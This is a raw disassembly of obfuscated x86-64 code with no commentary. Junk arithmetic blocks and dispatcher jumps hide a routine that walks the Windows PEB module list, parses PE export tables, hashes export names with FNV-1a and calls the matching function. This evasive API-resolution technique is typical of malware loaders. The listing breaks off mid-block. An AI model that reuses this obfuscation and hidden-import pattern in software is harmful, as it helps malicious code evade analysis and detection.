xor eax, 0xd9ebabbb
rol eax, 0xba
popf
pushf
not eax
add eax, 0x86105d7e
xor eax, 0xe5b814bc
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xcbedb012
xor eax, 0xe8178ffd
rol eax, 0x83
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xe387cc2f
pushf
not eax
add eax, 0xddc53518
xor eax, 0x95a1ca22
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x811785d1
xor eax, 0x8de6dde1
rol eax, 0x33
popf
pushf
not eax
add eax, 0xbb8f4218
xor eax, 0x8964826e
rol eax, 0x5f
popf
jmp 0x1400d3f9c
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
push r9
not r9
sub rdi, r9
pop r9
sub rdi, 1
cmp rdi, r9
je 0x1400d5690
push rax
pushf
mov eax, 0x69f406c7
pushf
not eax
add eax, 0xe94b6d24
xor eax, 0xc0362df3
rol eax, 0x62
popf
pushf
not eax
add eax, 0xef58c467
xor eax, 0xc2701986
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xadeb6764
xor eax, 0xcadfda76
rol eax, 0x81
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xcd3ee563
pushf
not eax
add eax, 0x8065c3b8
xor eax, 0xed5ddc26
rol eax, 0x93
popf
pushf
not eax
add eax, 0xe64cdd7b
xor eax, 0xf2b9e9a7
rol eax, 0xe3
popf
jmp 0x1400d3f9c
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400d5729
push rax
pushf
mov eax, 0x2c7cb58b
pushf
not eax
add eax, 0x8ee694e2
xor eax, 0xc5329ac5
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xa19ee089
xor eax, 0xb0b2229e
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xc244eb86
xor eax, 0xbb5763af
rol eax, 3
popf
pushf
not eax
add eax, 0xab0019d5
xor eax, 0xa078053d
rol eax, 0xe0
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x5eacd7f7
pushf
not eax
add eax, 0xb97938d0
xor eax, 0xc42e61a5
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xa08eeb84
xor eax, 0x857bfbdd
rol eax, 0x83
popf
pushf
not eax
add eax, 0xf171cb0f
xor eax, 0xc90038ce
rol eax, 0x72
popf
jmp 0x1400d3f9c
mov r14d, dword [rdi + 0x20]
push rax
pushf
mov eax, 0xaafe08e3
pushf
not eax
add eax, 0xe4e4a331
xor eax, 0xce1ab6cc
rol eax, 0x87
popf
pushf
not eax
add eax, 0x94e6e4a9
xor eax, 0x96a0a3ad
rol eax, 0x4e
popf
jmp 0x1400d3f9c
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
push r9
not r9
sub rcx, r9
pop r9
sub rcx, 1
mov edx, 0x7d5ba100
pushf
not edx
add edx, 0x929eee4b
xor edx, 0xf4cef5a0
rol edx, 0x3e
popf
pushf
not edx
add edx, 0x88de2c1c
xor edx, 0x9ca3e67b
rol edx, 0x5f
popf
pushf
not edx
add edx, 0xf710640d
xor edx, 0xce1feb4e
rol edx, 0x36
popf
pushf
not edx
add edx, 0xc7ef62b5
xor edx, 0xa8c066d3
rol edx, 0xe6
popf
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400d5868
push rax
pushf
mov eax, 0xa555de90
pushf
not eax
add eax, 0xf3731278
xor eax, 0x8f4b3e85
rol eax, 0x69
popf
pushf
not eax
add eax, 0xf4683cd7
xor eax, 0xe92fe382
rol eax, 0x21
popf
pushf
not eax
add eax, 0xe6e13d75
xor eax, 0xa40113c7
rol eax, 0xb0
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xd82bda80
pushf
not eax
add eax, 0x8c599abd
xor eax, 0xb58f9553
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xb2136625
xor eax, 0x98430222
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x815f6e8c
xor eax, 0x95976f49
rol eax, 0x90
popf
pushf
not eax
add eax, 0xba69e384
xor eax, 0xc5c55767
rol eax, 0xfa
popf
jmp 0x1400d3f9c
nop
push rax
pushf
mov eax, 0x46f4ed54
pushf
not eax
add eax, 0xfb3b7e14
xor eax, 0xf37fc77f
rol eax, 0xba
popf
pushf
not eax
add eax, 0x940c3b5a
xor eax, 0xaeef55fa
rol eax, 0xe7
popf
jmp 0x1400d3f9c
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1400d5964
push rax
pushf
mov eax, 0xd78cf8f0
pushf
not eax
add eax, 0xb93d94c0
xor eax, 0x8ca9f1a9
rol eax, 0x89
popf
pushf
not eax
add eax, 0xefa4926b
xor eax, 0x9f26dd1e
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xc7f53db7
xor eax, 0xc73665c2
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xa982bc95
xor eax, 0x8c13769b
rol eax, 0x4c
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xd612a180
pushf
not eax
add eax, 0xfeb6ad26
xor eax, 0xd3067406
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xefedc32d
xor eax, 0xcd6e1f36
rol eax, 0xe2
popf
jmp 0x1400d3f9c
cmp edx, r11d
je 0x1400d59f5
push rax
pushf
mov eax, 0x56dbdab9
pushf
not eax
add eax, 0x9c0d0c33
xor eax, 0xe405ee29
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xc0c68f68
xor eax, 0xda9d21ab
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xa01d6549
xor eax, 0xc84d6ea3
rol eax, 0x27
popf
pushf
not eax
add eax, 0xadbf2ed4
xor eax, 0xe0037af7
rol eax, 0xd3
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x3b89ee07
pushf
not eax
add eax, 0x9d59bd36
xor eax, 0xfabc92ca
rol eax, 0x30
popf
pushf
not eax
add eax, 0xfe3a7839
xor eax, 0xa055cdc5
rol eax, 0x59
popf
jmp 0x1400d3f9c
test r8d, r8d
jne 0x1400d5a60
push rax
pushf
mov eax, 0xe3a82b06
pushf
not eax
add eax, 0x9fe795ca
xor eax, 0xdd1bbd99
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xf1a4ada5
xor eax, 0x8c001a47
rol eax, 0xcb
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xb67e5aa9
pushf
not eax
add eax, 0xf5f9dd60
xor eax, 0xfeae73e6
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xfbf6217a
xor eax, 0xfb9ce281
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xbc445c06
xor eax, 0xcd52c7cb
rol eax, 0xcc
popf
jmp 0x1400d3f9c
jmp 0x1400d5fcf
mov ecx, dword [rdi + 0x1c]
push r9
not r9
sub rcx, r9
pop r9
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r9
not r9
sub rax, r9
pop r9
sub rax, 1
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
push r9
not r9
sub r10, r9
pop r9
sub r10, 1
cmp r10, rdi
jbe 0x1400d5b8c
push rax
pushf
mov eax, 0xbde8524
pushf
not eax
add eax, 0x93aa1537
xor eax, 0xf1b8b167
rol eax, 0xd
popf
pushf
not eax
add eax, 0xd727339a
xor eax, 0xc0aea593
rol eax, 0x88
popf
pushf
not eax
add eax, 0x88e242b8
xor eax, 0xd0d77056
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xc1140459
xor eax, 0xcdc98c76
rol eax, 0x7b
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x113d1083
pushf
not eax
add eax, 0xe78e00d9
xor eax, 0xa757abbd
rol eax, 0x46
popf
pushf
not eax
add eax, 0xeaff34cf
xor eax, 0x8078f7d8
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xbac02e88
xor eax, 0xcdde9376
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xa326d77a
xor eax, 0xcddc90be
rol eax, 0xc4
popf
jmp 0x1400d3f9c
lea rax, [r15 + rdi]
cmp r10, rax
jae 0x1400d5c25
push rax
pushf
mov eax, 0x9090c5d9
pushf
not eax
add eax, 0xb11deff5
xor eax, 0xa93c9a5f
rol eax, 0xba
popf
pushf
not eax
add eax, 0xa9bf8328
xor eax, 0x9798bc74
rol eax, 0x21
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x72451e5c
pushf
not eax
add eax, 0xa7332a9b
xor eax, 0xa914ef08
rol eax, 0x88
popf
pushf
not eax
add eax, 0xaa5a9321
xor eax, 0xaf772483
rol eax, 0x37
popf
jmp 0x1400d3f9c
mov ebx, 0x112df54a
pushf
not ebx
add ebx, 0xbf948d22
xor ebx, 0xf085addb
rol ebx, 0x42
popf
pushf
not ebx
add ebx, 0xcea1c070
xor ebx, 0xc28c887a
rol ebx, 0xdd
popf
pushf
not ebx
add ebx, 0x8bdd4c11
xor ebx, 0xdd972834
rol ebx, 0xfd
popf
pushf
not ebx
add ebx, 0xa6521d61
xor ebx, 0x86abc3f3
rol ebx, 0x6f
popf
mov r11d, ebx
movzx eax, byte [r10]
cmp al, 0x2e
je 0x1400d5d02
push rax
pushf
mov eax, 0x48845779
pushf
not eax
add eax, 0xec897127
xor eax, 0xc08caa5a
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xe509739a
xor eax, 0xf3a79a0a
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x9a0b6168
xor eax, 0xe26c5c83
rol eax, 0x30
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xa8c3a84e
pushf
not eax
add eax, 0x90ec32e3
xor eax, 0x9045b758
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xba90f789
xor eax, 0xa97758de
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xccb55c9b
xor eax, 0xdd631eb8
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xf081c415
xor eax, 0xc77c84fc
rol eax, 0xab
popf
jmp 0x1400d3f9c
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x1400d5dca
push rax
pushf
mov eax, 0xc59f90c0
pushf
not eax
add eax, 0xdc514bde
xor eax, 0x8f0cf232
rol eax, 0x97
popf
pushf
not eax
add eax, 0xc9741ac9
xor eax, 0xd7fbc832
rol eax, 0x40
popf
pushf
not eax
add eax, 0xb051a5f1
xor eax, 0x8acc2ba6
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xdc17c11f
xor eax, 0xeae2c891
rol eax, 0x62
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x950041c0
pushf
not eax
add eax, 0xbfa6f6a7
xor eax, 0xc95cb95c
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xa3efac9b
xor eax, 0xcd3f3cfe
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x87e652ae
xor eax, 0xcf727130
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xd953f91a
xor eax, 0xdb0e5659
rol eax, 0xe3
popf
jmp 0x1400d3f9c
inc r10
movzx eax, byte [r10]
test al, al
je 0x1400d5e87
push rax
pushf
mov eax, 0x8c12d16
pushf
not eax
add eax, 0xf3f3315e
xor eax, 0xc9829a2b
rol eax, 0x61
popf
pushf
not eax
add eax, 0xb6aded65
xor eax, 0xef713027
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xc4e9622b
xor eax, 0xa4f2aa50
rol eax, 2
popf
pushf
not eax
add eax, 0xec761002
xor eax, 0xa795e82c
rol eax, 0xda
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x37d96e22
pushf
not eax
add eax, 0xdf36c4ce
xor eax, 0xd73d4536
rol eax, 0x77
popf
pushf
not eax
add eax, 0x8bf9ce2d
xor eax, 0xb8419e23
rol eax, 0x6b
popf
jmp 0x1400d3f9c
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x1400d5f2c
push rax
pushf
mov eax, 0x9e3efb95
pushf
not eax
add eax, 0xca9020be
xor eax, 0xe9c5de16
rol eax, 0xad
popf
pushf
not eax
add eax, 0xf0a08e1b
xor eax, 0xef50c404
rol eax, 0x90
popf
pushf
not eax
add eax, 0xfa0b9dad
xor eax, 0xd6699975
rol eax, 0xea
popf
pushf
not eax
add eax, 0xc8e47c53
xor eax, 0xebcb16d7
rol eax, 0xb6
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xdb985a90
pushf
not eax
add eax, 0xb55e6010
xor eax, 0xacfd0f4c
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x8f73941f
xor eax, 0xa9ad4297
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xce528d8f
xor eax, 0xb3a41541
rol eax, 0x67
popf
jmp 0x1400d3f9c
mov rsi, qword [r12]
push rax
pushf
mov eax, 0x85b16533
pushf
not eax
add eax, 0xc60e47d6
xor eax, 0xfb3ec8c0
rol eax, 0x52
popf
pushf
not eax
add eax, 0xea291efb
xor eax, 0xbb36ac19
rol eax, 0x22
popf
pushf
not eax
add eax, 0xfaec0651
xor eax, 0xbb04b1dd
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x8fef91e9
xor eax, 0xf5d7c675
rol eax, 0x65
popf
jmp 0x1400d3f9c
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x1400d600d
push rax
pushf
mov eax, 0xb9848354
pushf
not eax
add eax, 0xb3519b84
xor eax, 0xacef0006
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xcfead350
xor eax, 0xbb401643
rol eax, 0x57
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x305c1f2e
pushf
not eax
add eax, 0xe1d5ab34
xor eax, 0x8d9c3999
rol eax, 0xac
popf
pushf
not eax
add eax, 0x835955b8
xor eax, 0xb8686e2b
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xee64d8bc
xor eax, 0x8e4ece3d
rol eax, 0x70
popf
jmp 0x1400d3f9c
cmp qword [rax + 0x30], 0
jne 0x1400d6091
push rax
pushf
mov eax, 0xef6df679
pushf
not eax
add eax, 0xb5c80bce
xor eax, 0xc754b27e
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xed375000
xor eax, 0x99359eb1
rol eax, 0xb6
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x68e349d3
pushf
not eax
add eax, 0x9f093431
xor eax, 0x98690500
rol eax, 1
popf
pushf
not eax
add eax, 0xd952a80a
xor eax, 0xf9cc15ec
rol eax, 0x97
popf
pushf
not eax
add eax, 0xbe632e8b
xor eax, 0x962e9a81
rol eax, 0xc
popf
pushf
not eax
add eax, 0xc1bfc337
xor eax, 0xd2d5b386
rol eax, 0x76
popf
jmp 0x1400d3f9c
xor r14d, r14d
mov r10d, r14d
mov qword [0x140040370], r10
push rax
pushf
mov eax, 0x1584275f
pushf
not eax
add eax, 0xd56fc83e
xor eax, 0xb956ff49
rol eax, 0x78
popf
pushf
not eax
add eax, 0xeaee5ca1
xor eax, 0xd22ebd67
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x97bea159
xor eax, 0xc7dd7d14
rol eax, 0xef
popf
jmp 0x1400d3f9c
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
xor r9d, r9d
mov r8d, dword [rbp - 0x30]
mov rcx, qword [rbp + 0xc040]
mov rcx, qword [rcx + 0x198]
call r10
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r14
mov ebx, 0x28216ac1
pushf
not ebx
add ebx, 0xf5ded625
xor ebx, 0xd10975c6
rol ebx, 0x6d
popf
pushf
not ebx
add ebx, 0x8c0c1630
xor ebx, 0xe1a0019d
rol ebx, 0xac
popf
pushf
not ebx
add ebx, 0x85b76405
xor ebx, 0x82afcacc
rol ebx, 0xb6
popf
pushf
not ebx
add ebx, 0xe7d0e041
xor ebx, 0xfdedd5c9
rol ebx, 0xba
popf
mov qword [rsp + 0x78], rbx
mov byte [rsp + 0x60], 0
nop dword [rax]
nop word [rax + rax]
mov r10, qword [0x1400403b0]
test r10, r10
jne 0x1400d6222
push rax
pushf
mov eax, 0x9b67716a
pushf
not eax
add eax, 0xc5877e57
xor eax, 0xfb0c5234
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xcc944aaa
xor eax, 0xdee2a853
rol eax, 0x84
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x56daac5e
pushf
not eax
add eax, 0xc414219b
xor eax, 0xaf11b39d
rol eax, 0x85
popf
pushf
not eax
add eax, 0xbba098bf
xor eax, 0xd1768496
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xb6fae915
xor eax, 0xb1bb5f10
rol eax, 0xa4
popf
jmp 0x1400d3f9c
mov ebx, r14d
mov r11d, 0xfadefcaf
pushf
not r11d
add r11d, 0x98c85a87
xor r11d, 0xbf328671
rol r11d, 0xa1
popf
pushf
not r11d
add r11d, 0xe7a52c43
xor r11d, 0x9385dad7
rol r11d, 0x2c
popf
pushf
not r11d
add r11d, 0xa2ee57af
xor r11d, 0xd4f764e8
rol r11d, 0x89
popf
pushf
not r11d
add r11d, 0xf1288c6e
xor r11d, 0x98a6135c
rol r11d, 0x28
popf
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
push rax
pushf
mov eax, 0xa0b8ce82
pushf
not eax
add eax, 0x82eccce4
xor eax, 0xfb457ce9
rol eax, 0x71
popf
pushf
not eax
add eax, 0x8833caf7
xor eax, 0x8d91a586
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xc8eff7e5
xor eax, 0xab77f9fa
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xe26a7137
xor eax, 0x86275098
rol eax, 0xc0
popf
jmp 0x1400d3f9c
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test ebx, ebx
je 0x1400d6388
push rax
pushf
mov eax, 0x82f7447d
pushf
not eax
add eax, 0xae909345
xor eax, 0xefea007e
rol eax, 0x92
popf
pushf
not eax
add eax, 0x9f1f1abe
xor eax, 0x843808f5
rol eax, 0x63
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x14e04d41
pushf
not eax
add eax, 0xea7f1c06
xor eax, 0xcf5d0bc9
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xbec9a9b3
xor eax, 0xe0eb6f07
rol eax, 0x35
popf
pushf
not eax
add eax, 0x86264d14
xor eax, 0xb24ae2b6
rol eax, 0x70
popf
pushf
not eax
add eax, 0xf495e9c5
xor eax, 0x87b05d3a
rol eax, 0x5e
popf
jmp 0x1400d3f9c
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xac09c56f
pushf
not edx
add edx, 0x95d5c9cc
xor edx, 0xe4e043d9
rol edx, 0x53
popf
pushf
not edx
add edx, 0xf86f8d13
xor edx, 0x9d319078
rol edx, 0x67
popf
pushf
not edx
add edx, 0xc4f5beee
xor edx, 0xb39c410c
rol edx, 0xdb
popf
pushf
not edx
add edx, 0x873f5f89
xor edx, 0xd032516d
rol edx, 1
popf
cmp rcx, r8
je 0x1400d64ab
push rax
pushf
mov eax, 0x8402893a
pushf
not eax
add eax, 0x9d91e15b
xor eax, 0x8af0b534
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xa64812c4
xor eax, 0xcb889ad9
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xb89c9806
xor eax, 0xea3aaf1c
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xb6ee8a5b
xor eax, 0x81d51a06
rol eax, 0x3c
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x4b286000
pushf
not eax
add eax, 0xc94277f5
xor eax, 0xba9390e5
rol eax, 0xa
popf
pushf
not eax
add eax, 0xf29a25ec
xor eax, 0x884dee18
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xa5018ed9
xor eax, 0xd20238eb
rol eax, 0x14
popf
pushf
not eax
add eax, 0xf84f6a56
xor eax, 0xf59482a3
rol eax, 0x21
popf
jmp 0x1400d3f9c
nop
push rax
pushf
mov eax, 0x6f96459b
pushf
not eax
add eax, 0xe64d996c
xor eax, 0xd9714956
rol eax, 0x89
popf
pushf
not eax
add eax, 0xf0f0dc66
xor eax, 0xa36ce5ff
rol eax, 0
popf
pushf
not eax
add eax, 0xd4dd8626
xor eax, 0xba47724e
rol eax, 0x63
popf
pushf
not eax
add eax, 0x830a48c0
xor eax, 0xf800fdaa
rol eax, 8
popf
jmp 0x1400d3f9c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400d65cc
push rax
pushf
mov eax, 0xdb83784d
pushf
not eax
add eax, 0xd807b928
xor eax, 0x9f9839f3
rol eax, 0xba
popf
pushf
not eax
add eax, 0xcd8d2ab8
xor eax, 0xe0180acb
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xe966054c
xor eax, 0xc86b749b
rol eax, 0x39
popf
pushf
not eax
add eax, 0xe5552fad
xor eax, 0x9ca3c9fb
rol eax, 0xb1
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x4064cce6
pushf
not eax
add eax, 0xef2772c8
xor eax, 0xa975f270
rol eax, 0x45
popf
pushf
not eax
add eax, 0xd20e1963
xor eax, 0xdb231642
rol eax, 0xd8
popf
jmp 0x1400d3f9c
cmp edx, ebx
jne 0x1400d6660
push rax
pushf
mov eax, 0xc926bb53
pushf
not eax
add eax, 0x8bff8d25
xor eax, 0xfef5e588
rol eax, 0x67
popf
pushf
not eax
add eax, 0x9ba7776b
xor eax, 0xc6f988fd
rol eax, 2
popf
pushf
not eax
add eax, 0xb9901b0e
xor eax, 0xd065b17c
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xe40883e2
xor eax, 0xc5929714
rol eax, 0x36
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x9d4640c8
pushf
not eax
add eax, 0xaa37a8a9
xor eax, 0xe9122e89
rol eax, 0xac
popf
pushf
not eax
add eax, 0xf9d7e83f
xor eax, 0xd14149e1
rol eax, 0xa6
popf
jmp 0x1400d3f9c
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
push r9
not r9
sub rdi, r9
pop r9
sub rdi, 1
cmp rdi, r9
je 0x1400d66f6
push rax
pushf
mov eax, 0x5c631815
pushf
not eax
add eax, 0x869f4be6
xor eax, 0xa1339017
rol eax, 0xce
popf
pushf
not eax
add eax, 0xc2f496a8
xor eax, 0xdba2b3e4
rol eax, 0x4d
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xf1efc887
pushf
not eax
add eax, 0xb9423559
xor eax, 0xd0c25b68
rol eax, 0x60
popf
pushf
not eax
add eax, 0xcfa115a7
xor eax, 0xa3f92c87
rol eax, 0xa8
popf
pushf
not eax
add eax, 0x931649a6
xor eax, 0xa9249a8a
rol eax, 0x78
popf
jmp 0x1400d3f9c
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400d677c
push rax
pushf
mov eax, 0x1101d451
pushf
not eax
add eax, 0x8e7cc634
xor eax, 0xff2df7f9
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x8df8fb90
xor eax, 0x81c1f5b1
rol eax, 0x7c
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x21ac79d7
pushf
not eax
add eax, 0xd922a906
xor eax, 0xd418b04f
rol eax, 0x16
popf
pushf
not eax
add eax, 0xa64b7f02
xor eax, 0xcd78a35a
rol eax, 0x8f
popf
jmp 0x1400d3f9c
mov r14d, dword [rdi + 0x20]
push rax
pushf
mov eax, 0x36a9add8
pushf
not eax
add eax, 0xe172bc9e
xor eax, 0xa9282902
rol eax, 0x84
popf
pushf
not eax
add eax, 0xe11ec07d
xor eax, 0xed3a3469
rol eax, 0x68
popf
pushf
not eax
add eax, 0xf271a568
xor eax, 0xd0014019
rol eax, 0xa7
popf
jmp 0x1400d3f9c
dec r8d
lea rax, [r14 + r8*4]
mov eax, dword [rax + r9]
push r9
not r9
sub rax, r9
pop r9
sub rax, 1
mov edx, 0xa272b3d1
pushf
not edx
add edx, 0xb4ef8355
xor edx, 0xf446ed8a
rol edx, 0xf
popf
pushf
not edx
add edx, 0xfc0aab31
xor edx, 0xd4e89bfd
rol edx, 0x66
popf
pushf
not edx
add edx, 0xe174705d
xor edx, 0xca2721d1
rol edx, 0xb
popf
pushf
not edx
add edx, 0xbd072378
xor edx, 0x90091ee6
rol edx, 3
popf
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400d68bb
push rax
pushf
mov eax, 0xae0ed71e
pushf
not eax
add eax, 0x8c717a5a
xor eax, 0xc723f69c
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xaafd6fda
xor eax, 0x87d01385
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xd193d978
xor eax, 0xc5cb37d8
rol eax, 0x97
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x48496060
pushf
not eax
add eax, 0xacbfbcec
xor eax, 0xd3ab9032
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xb02329b3
xor eax, 0xfee0ebc8
rol eax, 0x89
popf
pushf
not eax
add eax, 0xa43217e8
xor eax, 0x90fddc64
rol eax, 0xbd
popf
jmp 0x1400d3f9c
nop
push rax
pushf
mov eax, 0xfd703f64
pushf
not eax
add eax, 0xf737cd74
xor eax, 0xacf428d2
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x9b4407e8
xor eax, 0xf6c0b204
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xd6743ff4
xor eax, 0xb572b44f
rol eax, 0x95
popf
jmp 0x1400d3f9c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x1400d69b7
push rax
pushf
mov eax, 0xe26e948c
pushf
not eax
add eax, 0xcd10f9d7
xor eax, 0xfe419c7f
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xa5df8b6d
xor eax, 0xeb19f446
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xd4888a43
xor eax, 0xea108aea
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xb66c9ab1
xor eax, 0x81f9f148
rol eax, 0x52
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xfb4b6c6e
pushf
not eax
add eax, 0xc96363f5
xor eax, 0xb1d380ee
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x8f09f7fe
xor eax, 0xefecb526
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xf0450dd9
xor eax, 0xc91c395d
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xe704076c
xor eax, 0x9d0fbe3c
rol eax, 0x44
popf
jmp 0x1400d3f9c
cmp edx, r11d
je 0x1400d6a5b
push rax
pushf
mov eax, 0x54871384
pushf
not eax
add eax, 0x9cc87fd8
xor eax, 0xd91f9ce3
rol eax, 0x91
popf
pushf
not eax
add eax, 0xd9e3db78
xor eax, 0xd2337292
rol eax, 7
popf
pushf
not eax
add eax, 0x9641644a
xor eax, 0x9d5c5037
rol eax, 0x24
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xfe413023
pushf
not eax
add eax, 0xb7c85ff8
xor eax, 0x8b401983
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xf70f80b0
xor eax, 0xd15f0551
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xa6ce3a09
xor eax, 0x8e37bac5
rol eax, 0x29
popf
jmp 0x1400d3f9c
test r8d, r8d
jne 0x1400d6aec
push rax
pushf
mov eax, 0x3aa2a2dd
pushf
not eax
add eax, 0xdb4281f7
xor eax, 0xe684de4f
rol eax, 0x34
popf
pushf
not eax
add eax, 0xc04fbe57
xor eax, 0xb676119e
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xd9fb2e1e
xor eax, 0x8cb51180
rol eax, 0x6f
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x17585d71
pushf
not eax
add eax, 0xbb26e692
xor eax, 0xdf4daff4
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xb07096da
xor eax, 0xc9af2984
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xf4db8ae1
xor eax, 0x9bdc647c
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xdb3579d9
xor eax, 0xbcdaec09
rol eax, 0xb5
popf
jmp 0x1400d3f9c
jmp 0x1400d704b
xor r14d, r14d
jmp 0x1400d60ef
mov ecx, dword [rdi + 0x1c]
push r9
not r9
sub rcx, r9
pop r9
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r9
not r9
sub rax, r9
pop r9
sub rax, 1
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
push r9
not r9
sub r10, r9
pop r9
sub r10, 1
cmp r10, rdi
jbe 0x1400d6c20
push rax
pushf
mov eax, 0xdf65b8da
pushf
not eax
add eax, 0xe9bb8b0d
xor eax, 0xe9819c9c
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xbbeed656
xor eax, 0x8d9a690f
rol eax, 0xac
popf
pushf
not eax
add eax, 0xb277450c
